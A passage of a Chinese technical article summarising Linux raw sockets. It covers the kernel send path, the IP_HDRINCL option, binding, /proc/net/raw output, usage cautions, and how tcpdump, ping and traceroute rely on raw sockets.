用戶態(tài)調(diào)用sendto()或sendmsg()發(fā)送報(bào)文的內(nèi)核態(tài)處理流程如下，最終由raw_sendmsg()進(jìn)行發(fā)送。


sys_sendto()->sock_sendmsg()->__sock_sendmsg()->inet_sendmsg()->raw_sendmsg()


? ? 此函數(shù)先進(jìn)行一些參數(shù)合法性檢測，然后調(diào)用ip_route_output_slow()進(jìn)行選路。選路成功后主要執(zhí)行如下代碼片段，根據(jù)inet->hdrincl是否設(shè)置走不同的流程。raw_send_hdrinc()函數(shù)表示用戶態(tài)發(fā)送的數(shù)據(jù)中需要包含IP首部，即由調(diào)用者在發(fā)送時(shí)自行構(gòu)造IP首部。如果inet->hdrincl未置位，表示內(nèi)核會(huì)構(gòu)造IP首部，即調(diào)用者發(fā)送的數(shù)據(jù)中不包含IP首部。不管走哪個(gè)流程，最終都會(huì)經(jīng)過ip_output()->ip_finish_output()->…->dev_queue_xmit()將報(bào)文交給網(wǎng)卡驅(qū)動(dòng)的發(fā)送函數(shù)發(fā)送出去。


……?
if (inet->hdrincl) { //調(diào)用者要構(gòu)造IP首部?
? ? ? ? err = raw_send_hdrinc(sk, msg->msg_iov, len,?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? rt, msg->msg_flags);?
} else {?
? ? ? ? …… //由內(nèi)核構(gòu)造IP首部?
? ? ? ?err = ip_push_pending_frames(sk);?
}?
……
? ?注：inet->hdrincl置位表示用戶態(tài)發(fā)送的數(shù)據(jù)中要包含IP首部，inet->hdrincl在以下兩種情況下被置位。


? ? a). 給套接字設(shè)置IP_HDRINCL選項(xiàng)


? ? ? ? ? setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &val, sizeof(val))


? ? b). 調(diào)用socket()創(chuàng)建套接字時(shí)，第三個(gè)參數(shù)指定為IPPROTO_RAW，見2.3.1節(jié)。


? ? ? ? ? socktet(PF_INET, SOCK_RAW, IPPROTO_RAW)


2.3.4 ?其它


a) ? ? ? 套接字綁定


若原始套接字調(diào)用bind()綁定了一個(gè)地址，則該套接口只能收到目的IP地址與綁定地址相匹配的報(bào)文。內(nèi)核的具體實(shí)現(xiàn)是raw_bind()，將inet->rcv_saddr設(shè)置為綁定地址。在原始套接字接收時(shí)，__raw_v4_lookup()在設(shè)置了inet->rcv_saddr字段的情況下，會(huì)判斷該字段是否與報(bào)文目的IP地址相同。


sys_bind()->inet_bind()->raw_bind()


b) ? ? ?信息查看


網(wǎng)絡(luò)層原始套接字的信息可通過/proc/net/raw進(jìn)行查看。如下為圖5所創(chuàng)建的3個(gè)網(wǎng)絡(luò)層原始套接字的信息，可以查看到創(chuàng)建套接字時(shí)指定的協(xié)議類型、綁定的地址、發(fā)送和接收隊(duì)列已使用的緩存大小等信息。這些信息對于分析和定位問題有幫助。


cat /proc/net/raw
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
1: 00000000:0001 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 1323 2 ffff8100070b2380
6: 00000000:0006 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 1322 2 ffff8100070b2080
89: 00000000:0059 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 1324 2 ffff8100070b2680
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?三、應(yīng)用及注意事項(xiàng)


3.1 ?使用鏈路層原始套接字
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注意事項(xiàng)：
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a) ? ? ? 盡量避免創(chuàng)建過多原始套接字，且原始套接字要盡量綁定網(wǎng)卡。因?yàn)槭盏矫總€(gè)報(bào)文除了會(huì)將其分發(fā)給綁定在該網(wǎng)卡上的原始套接字外，還會(huì)分發(fā)給沒有綁定網(wǎng)卡的原始套接字。如果原始套接字較多，一個(gè)報(bào)文就會(huì)在軟中斷上下文中分發(fā)多次，造成處理時(shí)間過長。
b) ? ? ?發(fā)包和收包盡量使用同一個(gè)原始套接字。如果發(fā)包與收包使用兩個(gè)不同的原始套接字，會(huì)由于接收報(bào)文時(shí)分發(fā)多次而影響性能。而且用于發(fā)送的那個(gè)套接字的接收隊(duì)列上也會(huì)緩存報(bào)文，直至達(dá)到接收隊(duì)列大小限制，會(huì)造成內(nèi)存泄露。
c) ? ? ? 若只接收指定類型二層報(bào)文，在調(diào)用socket()時(shí)指定第三個(gè)參數(shù)的協(xié)議類型，而最好不要使用ETH_P_ALL。因?yàn)镋TH_P_ALL會(huì)接收所有類型的報(bào)文，而且還會(huì)將外發(fā)報(bào)文收回來，這樣就需要做BPF過濾，比較影響性能。


3.2 ?使用網(wǎng)絡(luò)層原始套接字


注意事項(xiàng)：


a) ? ? ? 由于IP報(bào)文的重組是在網(wǎng)絡(luò)層原始套接字接收流程之前執(zhí)行的，所以該原始套接字不能接收到UDP和TCP的分組數(shù)據(jù)。
b) ? ? ?若原始套接字已由bind()綁定了某個(gè)本地IP地址，那么只有目的IP地址與綁定地址匹配的報(bào)文，才能遞送到這個(gè)套接口上。
c) ? ? ? 若原始套接字已由connect()指定了某個(gè)遠(yuǎn)地IP地址，那么只有源IP地址與這個(gè)已連接地址匹配的報(bào)文，才能遞送到這個(gè)套接口上。


3.3 ?網(wǎng)絡(luò)診斷工具使用原始套接字


很多網(wǎng)絡(luò)診斷工具也是利用原始套接字來實(shí)現(xiàn)的，經(jīng)常會(huì)使用到的有tcpdump, ping和traceroute等。
tcpdump
該工具用于截獲網(wǎng)口上的報(bào)文流量。其實(shí)現(xiàn)原理是創(chuàng)建ETH_P_ALL類型的鏈路層原始套接字，讀取和解析報(bào)文數(shù)據(jù)并將信息顯示出來。
ping
該工具用于檢查網(wǎng)絡(luò)連接。其實(shí)現(xiàn)原理是創(chuàng)建網(wǎng)絡(luò)層原始套接字，指定協(xié)議類型為IPPROTO_ICMP。檢測方構(gòu)造ICMP回射請求報(bào)文（類型為ICMP_ECHO），根據(jù)ICMP協(xié)議實(shí)現(xiàn)，被檢測方收到該請求報(bào)文后會(huì)響應(yīng)一個(gè)ICMP回射應(yīng)答報(bào)文（類型為ICMP_ECHOREPLY）。然后檢測方通過原始套接字讀取并解析應(yīng)答報(bào)文，并顯示出序號、TTL等信息。
traceroute
該工具用于跟蹤IP報(bào)文在網(wǎng)絡(luò)中的路由過程。其實(shí)現(xiàn)原理也是創(chuàng)建網(wǎng)絡(luò)層原始套接字，指定協(xié)議類型為IPPROTO_ICMP。假設(shè)從A主機(jī)路由到D主機(jī)，需要依次經(jīng)過B主機(jī)和C主機(jī)。使用traceroute來跟蹤A主機(jī)到D主機(jī)的路由途徑，具體步驟如下，在每次探測過程中會(huì)顯示各節(jié)點(diǎn)的IP、時(shí)間等信息。


a) ? ? ? A主機(jī)使用普通的UDP套接字向目的主機(jī)發(fā)送TTL為1（使用套接口選項(xiàng)IP_TTL來修改）的UDP報(bào)文；
b) ? ? ?B主機(jī)收到該UDP報(bào)文后，由于TTL為1會(huì)拒絕轉(zhuǎn)發(fā)，并且向A主機(jī)發(fā)送code為ICMP_EXC_TTL的ICMP報(bào)文；
c) ? ? ? A主機(jī)用創(chuàng)建的網(wǎng)絡(luò)層原始套接字讀取并解析ICMP報(bào)文。如果ICMP報(bào)文code是ICMP_EXC_TTL，就將UDP報(bào)文的TTL增加1并回到步驟a)繼續(xù)進(jìn)行探測；如果ICMP報(bào)文的code是ICMP_PROT_UNREACH，表示UDP報(bào)文到達(dá)了目的地。


? ? ? ? ? ? ? A主機(jī)―>B主機(jī)―>C主機(jī)―>D主機(jī)


參考資料
《Linux內(nèi)核源碼剖析——TCP/IP實(shí)現(xiàn)》
《深入理解Linux網(wǎng)絡(luò)內(nèi)幕》
《UNIX網(wǎng)絡(luò)編程 第1卷：套接口API》
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總結(jié)

以上是生活随笔為你收集整理的Linux原始套接字学习总结的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

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